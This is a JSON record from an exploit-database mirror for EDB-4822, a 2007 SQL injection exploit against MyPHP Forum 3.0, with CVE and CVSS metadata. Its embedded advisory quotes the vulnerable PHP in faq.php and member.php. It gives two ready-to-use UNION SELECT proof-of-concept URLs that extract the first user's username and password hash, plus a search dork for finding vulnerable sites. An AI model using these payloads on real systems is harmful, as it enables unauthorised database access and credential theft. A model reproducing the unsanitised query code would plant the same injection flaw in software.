{"exploit":{"id":"EDB-4822","name":"MyPHP Forum 3.0 (Final) - Multiple SQL Injections (SQLi)","description":"MyPHP Forum 3.0 (Final) - Multiple SQL Injections (SQLi)","cves":["CVE-2007-6667","CVE-2005-0413"],"author":"x0kster","published":"2007-12-31","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4822","path":"exploits/php/webapps/4822.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4822.txt","vulnerabilities":[{"id":"CVE-2007-6667","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in faq.php in MyPHP Forum 3.0 and earlier allows remote attackers to execute arbitrary SQL commands via the id parameter. NOTE: the member.php vector is already covered by CVE-2005-0413.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-6667","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-6667"},"updatedAt":"2024-08-07T16:18:20.223Z","retrievedAt":"2026-11-27T02:12:12.698Z","stale":false,"error":null},{"id":"CVE-2005-0413","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in MyPHP Forum 1.0 allow remote attackers to execute arbitrary SQL commands via (1) the fid in forum.php, (2) the member parameter in member.php, (3) the email parameter in forgot.php, or (4) the nbuser or nbpass parameters in include.php. NOTE: it was later reported that vector 2 exists in 3.0 and earlier.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0413","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0413"},"updatedAt":"2024-08-07T21:13:53.791Z","retrievedAt":"2026-11-26T11:55:46.854Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4822.png?v=2","url":"https://exploitbin.com/exploits/EDB-4822","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4822/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4822/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Name            :  MyPHP Forum <= 3.0 (Final) Multiple Remote SQL Injection Vulnerability\nAuthor          :  x0kster\nEmail           :  x0kster@gmail.com\nSite            :  ihteam.net\nScript Download :  http://www.myphp.ws/\nDate            :  31/12/2007\nDork            :  \"Powered by: MyPHP Forum\"\n\nNote:\nFor work, magic_quotes_gpc must be turned off on the server.\nUsally the table prefix is 'nb'.\n\n\n\nSql injection in faq.php\n\n   <?php\n    //faq.php\n    [...]\n    $id = $_GET['id'];\n    if($action == \"view\" && !empty($id)) {\n\t$result = mysql_query(\"SELECT * from $db_faq WHERE id='$id'\") or die(mysql_error()); // <-- So miss a control :-D\n\t$row = mysql_fetch_array($result);\n\t$row[answer] = postify($row[answer]);\n    [...]\n   ?>\n\nSo we can execute an sql injection thrught the bugged variable $id.\n\nPoC:\n\nhttp://Site/faq.php?action=view&id=-1'+union+select+1,concat(username,0x3a,password),3+from+{table_prefix}_member+where+uid=1/*\n\n\n\n\nSql injection in member.php\n\n   <?php\n    //member.php\n   [...]\n    if($action == \"viewpro\") {\n\t$member = $HTTP_GET_VARS['member'];\n\t$query = mysql_query(\"SELECT * FROM $db_member WHERE username='$member'\") or die(mysql_error());\n   [...]\n   ?>\n\nSo $member variable isn't controlled so we can exploit it.\n\nPoC:\n\nhttp://Site/member.php?action=viewpro&member=-1'+union+select+1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12,13,14,15,16,17,18,19,20,21,22+from+{table_prefix}_member+where+uid=1/*\n\n# milw0rm.com [2007-12-31]","sha256":"e86bd2509eff235fe8cd220923aaffe5706fbbf8fc26b04a5470d19534c0498d","bytes":1469,"fetchedAt":"2026-11-27T02:12:10.947Z","encoding":"utf-8 (display only; download retains original bytes)"}